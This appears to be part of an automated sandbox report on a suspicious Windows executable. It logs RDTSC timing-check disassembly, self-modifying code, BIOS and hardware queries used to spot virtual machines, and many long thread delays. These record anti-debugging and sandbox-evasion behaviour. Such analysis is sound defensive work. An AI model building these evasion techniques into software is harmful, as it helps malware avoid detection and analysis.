Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E6289 second address: 6E62FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7290766B30h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 6BAEA692h 0x00000012 mov edx, dword ptr [ebp+150D198Ch] 0x00000018 lea ebx, dword ptr [ebp+15253DA0h] 0x0000001e mov edi, 3BEA4B40h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 ja 00007F7290766B3Eh 0x0000002b push ecx 0x0000002c pushad 0x0000002d popad 0x0000002e pop ecx 0x0000002f popad 0x00000030 push eax 0x00000031 pushad 0x00000032 jnp 00007F7290766B28h 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F7290766B36h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704D30 second address: 704D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7290766B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F7290766B2Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 704EC3 second address: 704ED7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F7290C62CAEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7052DF second address: 70530B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7290C62CACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7290C62CB6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6D08EB second address: 6D090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F7290C62CB2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 705761 second address: 705775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 70B04B second address: 70B063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Special instruction interceptor: First address: 735812 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Special instruction interceptor: First address: 7128A3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 5150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 5090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 4F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Memory allocated: 6F00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window / User API: threadDelayed 8201	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window / User API: threadDelayed 1563	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window / User API: threadDelayed 9729	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39830s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39705s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39580s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39455s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39330s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39205s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -39080s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38955s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38830s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38705s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38580s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38455s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38330s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38205s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -38080s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37955s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37799s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37674s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37549s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37424s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37299s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -37117s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36994s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36893s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36768s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36643s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36518s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36393s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36268s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36143s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -36017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35893s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35768s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35643s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35518s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35393s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35268s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35143s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -35018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -34893s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -34768s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -34643s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -34395s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -34001s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33877s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33752s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33627s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33502s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33377s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6172	Thread sleep time: -33252s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4752	Thread sleep count: 117 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4752	Thread sleep time: -234117s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 5320	Thread sleep count: 110 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 5320	Thread sleep time: -220110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4072	Thread sleep count: 135 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4072	Thread sleep time: -270135s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6048	Thread sleep time: -68000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 1288	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 1288	Thread sleep time: -262131s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 5668	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 5668	Thread sleep time: -39830s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4708	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 4708	Thread sleep time: -242121s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6020	Thread sleep count: 133 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 6020	Thread sleep time: -266133s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 5668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39830s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39658s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39283s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39158s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -39033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38783s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38658s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38533s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38408s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38285s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -38173s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -37799s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -37393s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -37267s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -37127s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -37002s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36877s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36752s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36642s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36502s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36377s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36252s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36127s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -36017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35877s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35752s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35642s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35502s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35393s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35252s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -35142s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -34978s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -34487s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -34362s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -34237s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -34111s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33986s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33862s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33736s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33611s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33486s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33361s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33236s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -33111s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32987s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32861s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32736s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32612s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32486s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe TID: 3856	Thread sleep time: -32346s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39830	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39705	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39580	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39455	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39330	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39205	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39080	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38955	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38830	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38705	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38580	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38455	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38330	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38205	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38080	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37955	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37799	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37674	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37549	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37424	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37299	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37117	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36994	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36893	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36768	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36643	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36518	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36393	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36268	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36143	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36017	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35893	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35768	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35643	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35518	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35393	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35268	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35143	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35018	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34893	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34768	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34643	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34395	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34001	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33877	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33752	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33627	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33502	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33377	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33252	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39830	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39830	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39658	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39547	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39408	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39283	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39158	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 39033	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38908	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38783	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38658	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38533	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38408	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38285	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 38173	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37799	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37393	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37267	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37127	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 37002	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36877	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36752	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36642	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36502	Jump to behavior
